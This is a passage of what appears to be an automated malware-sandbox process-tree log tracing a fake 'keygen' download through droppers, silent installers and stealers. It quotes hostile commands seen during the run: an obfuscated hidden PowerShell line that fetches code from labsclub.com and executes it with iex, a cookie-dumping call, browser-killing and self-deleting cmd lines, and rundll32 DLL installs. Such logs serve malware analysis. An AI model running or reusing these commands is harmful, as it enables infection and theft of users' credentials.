                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:3704
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                            keygen-step-2.exe
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Modifies system certificate store
                                                                                                                                            PID:4644
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\E6CC.tmp.exe
                                                                                                                                              "C:\Users\Admin\AppData\Roaming\E6CC.tmp.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1512
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\E6CC.tmp.exe"
                                                                                                                                                5⤵
                                                                                                                                                  PID:6992
                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                    timeout /T 10 /NOBREAK
                                                                                                                                                    6⤵
                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                    PID:7104
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                                4⤵
                                                                                                                                                  PID:2252
                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                    ping 127.0.0.1
                                                                                                                                                    5⤵
                                                                                                                                                    • Runs ping.exe
                                                                                                                                                    PID:1456
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                                keygen-step-3.exe
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:968
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:4820
                                                                                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                      ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                      5⤵
                                                                                                                                                      • Runs ping.exe
                                                                                                                                                      PID:2488
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                  keygen-step-4.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:2056
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:388
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                                                                                                                                      5⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Maps connected drives based on registry
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:4696
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe" 1 3.1617946274.606fe6a2675e6 101
                                                                                                                                                        6⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                        PID:5196
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\POQ937N2SG\multitimer.exe" 2 3.1617946274.606fe6a2675e6
                                                                                                                                                          7⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5332
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\k1adypgb5zh\kqiqlerymyp.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\k1adypgb5zh\kqiqlerymyp.exe" /VERYSILENT
                                                                                                                                                            8⤵
                                                                                                                                                              PID:1504
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-TRMGN.tmp\kqiqlerymyp.tmp
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-TRMGN.tmp\kqiqlerymyp.tmp" /SL5="$403B8,140785,56832,C:\Users\Admin\AppData\Local\Temp\k1adypgb5zh\kqiqlerymyp.exe" /VERYSILENT
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:2852
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-OBTVC.tmp\apipostback.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-OBTVC.tmp\apipostback.exe" adan adan
                                                                                                                                                                    10⤵
                                                                                                                                                                      PID:2380
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3gwNNWcQf.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\3gwNNWcQf.exe"
                                                                                                                                                                        11⤵
                                                                                                                                                                          PID:5708
                                                                                                                                                                          • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                                                                            "C:\Windows\System32\dllhost.exe"
                                                                                                                                                                            12⤵
                                                                                                                                                                              PID:6844
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Palpitante.vss
                                                                                                                                                                              12⤵
                                                                                                                                                                                PID:4596
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\System32\cmd.exe
                                                                                                                                                                                  13⤵
                                                                                                                                                                                    PID:6012
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                11⤵
                                                                                                                                                                                  PID:4536
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                    12⤵
                                                                                                                                                                                      PID:6584
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\rcr2pciedvs\Setup3310.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\rcr2pciedvs\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:3704
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-GVODK.tmp\Setup3310.tmp
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-GVODK.tmp\Setup3310.tmp" /SL5="$30336,138429,56832,C:\Users\Admin\AppData\Local\Temp\rcr2pciedvs\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:5204
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-R96OA.tmp\Setup.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-R96OA.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                      10⤵
                                                                                                                                                                                        PID:5244
                                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
                                                                                                                                                                                          11⤵
                                                                                                                                                                                            PID:6068
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                              12⤵
                                                                                                                                                                                                PID:6328
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                12⤵
                                                                                                                                                                                                  PID:6012
                                                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
                                                                                                                                                                                                11⤵
                                                                                                                                                                                                  PID:4728
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\61ttydt76ezd6qd6fq7f7qfdqtyqdgxxa\pspx.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\61ttydt76ezd6qd6fq7f7qfdqtyqdgxxa\pspx.exe"
                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                      PID:7116
                                                                                                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                      PID:5872
                                                                                                                                                                                                    • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                                                      "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                        PID:4724
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                            PID:6904
                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                              "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                PID:1076
                                                                                                                                                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                              PID:4216
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-68DTD.tmp\lylal220.tmp
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-68DTD.tmp\lylal220.tmp" /SL5="$2053E,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                  PID:4308
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-VLD40.tmp\ysAGEL.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-VLD40.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                      PID:1424
                                                                                                                                                                                                                      • C:\Program Files\Common Files\WSGNMAHTBV\irecord.exe
                                                                                                                                                                                                                        "C:\Program Files\Common Files\WSGNMAHTBV\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                          PID:4984
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-I5KFD.tmp\irecord.tmp
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-I5KFD.tmp\irecord.tmp" /SL5="$305C0,5922518,66560,C:\Program Files\Common Files\WSGNMAHTBV\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                              PID:6840
                                                                                                                                                                                                                              • C:\Program Files (x86)\i-record\i-record.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\i-record\i-record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                  PID:1844
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\0a-18671-32d-95dae-0c14029aaa9df\ZHubykoduhae.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\0a-18671-32d-95dae-0c14029aaa9df\ZHubykoduhae.exe"
                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                PID:1412
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\0e-34481-727-9e0bf-e36fff1b2b042\Jetaqakuli.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\0e-34481-727-9e0bf-e36fff1b2b042\Jetaqakuli.exe"
                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                  PID:6368
                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hinhuitf.zik\google-game.exe & exit
                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                      PID:4212
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\hinhuitf.zik\google-game.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\hinhuitf.zik\google-game.exe
                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                          PID:5892
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                              PID:7816
                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hqzot1yg.ava\jg8_8qyu.exe & exit
                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                            PID:8136
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\hqzot1yg.ava\jg8_8qyu.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\hqzot1yg.ava\jg8_8qyu.exe
                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                PID:4084
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kr2w02a2.ujj\wwfvd.exe & exit
                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                PID:6716
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\kr2w02a2.ujj\wwfvd.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\kr2w02a2.ujj\wwfvd.exe
                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                    PID:6608
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im wwfvd.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\kr2w02a2.ujj\wwfvd.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                                        PID:6524
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                          taskkill /im wwfvd.exe /f
                                                                                                                                                                                                                                                          18⤵
                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                          PID:972
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                          timeout /t 6
                                                                                                                                                                                                                                                          18⤵
                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                          PID:7340
                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zza0ecap.05h\askinstall31.exe & exit
                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                      PID:3912
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\zza0ecap.05h\askinstall31.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\zza0ecap.05h\askinstall31.exe
                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                          PID:7580
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kucdvxpp.cuz\toolspab1.exe & exit
                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                          PID:6104
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\kucdvxpp.cuz\toolspab1.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\kucdvxpp.cuz\toolspab1.exe
                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                              PID:7956
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\kucdvxpp.cuz\toolspab1.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\kucdvxpp.cuz\toolspab1.exe
                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                  PID:5132
                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pbawgatm.ltg\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                PID:6392
                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ol5jxer5.wy2\setup_10.2_mix.exe & exit
                                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                                  PID:7640
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kmkla5ur.2ky\file_1.exe & exit
                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                    PID:1608
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\kmkla5ur.2ky\file_1.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\kmkla5ur.2ky\file_1.exe
                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                        PID:7584
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                            PID:7484
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\5J09DU5PZO\multitimer.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\5J09DU5PZO\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                PID:7736
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\JQ04NIOD3O\setups.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\JQ04NIOD3O\setups.exe" ll
                                                                                                                                                                                                                                                                                18⤵
                                                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-0TSSD.tmp\setups.tmp
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-0TSSD.tmp\setups.tmp" /SL5="$30392,1845714,55808,C:\Users\Admin\AppData\Local\Temp\JQ04NIOD3O\setups.exe" ll
                                                                                                                                                                                                                                                                                    19⤵
                                                                                                                                                                                                                                                                                      PID:5172
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"
                                                                                                                                                                                                                                                                                  17⤵
                                                                                                                                                                                                                                                                                    PID:2052
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                                        PID:4048
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                                                                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                                                                        PID:5972
                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                              PID:5524
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-FONFO.tmp\LabPicV3.tmp
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-FONFO.tmp\LabPicV3.tmp" /SL5="$1056E,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                  PID:4584
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-RKS30.tmp\alpATCHInO.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-RKS30.tmp\alpATCHInO.exe" /S /UID=lab214
                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                      PID:5612
                                                                                                                                                                                                                                                                                      • C:\Program Files\Reference Assemblies\NFCYBHMDTM\prolab.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files\Reference Assemblies\NFCYBHMDTM\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                          PID:7912
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-34SQT.tmp\prolab.tmp
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-34SQT.tmp\prolab.tmp" /SL5="$204D8,575243,216576,C:\Program Files\Reference Assemblies\NFCYBHMDTM\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                                                                                              PID:7976
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\e7-2f1dd-512-756a6-b3413fe1715b7\ZHisowuvewae.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\e7-2f1dd-512-756a6-b3413fe1715b7\ZHisowuvewae.exe"
                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                              PID:8016
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\fb-ca618-92b-86799-d3926269fe90a\Soshekaedaeha.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\fb-ca618-92b-86799-d3926269fe90a\Soshekaedaeha.exe"
                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                PID:1392
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xtwsokai.4gm\google-game.exe & exit
                                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                                    PID:5992
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\xtwsokai.4gm\google-game.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\xtwsokai.4gm\google-game.exe
                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                        PID:6752
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                                            PID:7512
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hvmez2dc.0lq\jg8_8qyu.exe & exit
                                                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                                                          PID:7524
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\hvmez2dc.0lq\jg8_8qyu.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\hvmez2dc.0lq\jg8_8qyu.exe
                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                              PID:6364
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vmeysfrg.kd5\wwfvd.exe & exit
                                                                                                                                                                                                                                                                                                            15⤵
                                                                                                                                                                                                                                                                                                              PID:7536
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\vmeysfrg.kd5\wwfvd.exe
                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\vmeysfrg.kd5\wwfvd.exe
                                                                                                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                                                                                                  PID:4080
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im wwfvd.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\vmeysfrg.kd5\wwfvd.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                                                      PID:7408
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                        taskkill /im wwfvd.exe /f
                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                        PID:7924
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                        timeout /t 6
                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                        PID:420
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cisx3vxa.b1l\askinstall31.exe & exit
                                                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                                                    PID:5884
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\cisx3vxa.b1l\askinstall31.exe
                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\cisx3vxa.b1l\askinstall31.exe
                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                        PID:3976
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                                                            PID:5224
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                              18⤵
                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                              PID:416
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\xcopy.exe
